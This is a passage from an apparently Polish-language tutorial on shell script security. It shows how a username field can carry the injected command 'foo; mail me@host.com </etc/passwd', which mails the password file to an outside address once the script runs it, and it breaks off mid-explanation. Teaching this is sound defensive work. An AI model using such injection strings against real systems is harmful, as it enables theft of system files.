Na przesz­kodzie, aby wpisać następującą

Na przesz­kodzie, aby wpisać następującą linię:
foo; mail me@host.com </etc/passwd
Nie jest to oczywiście nazwa użytkownika, oznacza to, że ktoś próbuje bawić się naszym skryptem. A co się stanie, gdy argument ten zostanie przekazany do skryptu? Ponieważ zos­tał on napisany tak, a nie inaczej, ostateczna postać wykonywanej linii będzie następująca:
who | grep foo; mail me@host.com </etc/passwd
A co to oznacza? Jeżeli shell UNIX-a nie jest Ci zbyt dobrze znany, powiem, że średnik słu­ży do oddzielania od siebie kolejnych poleceń. Tak więc skrypt, oprócz sprawdzenia

Random Posts




You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply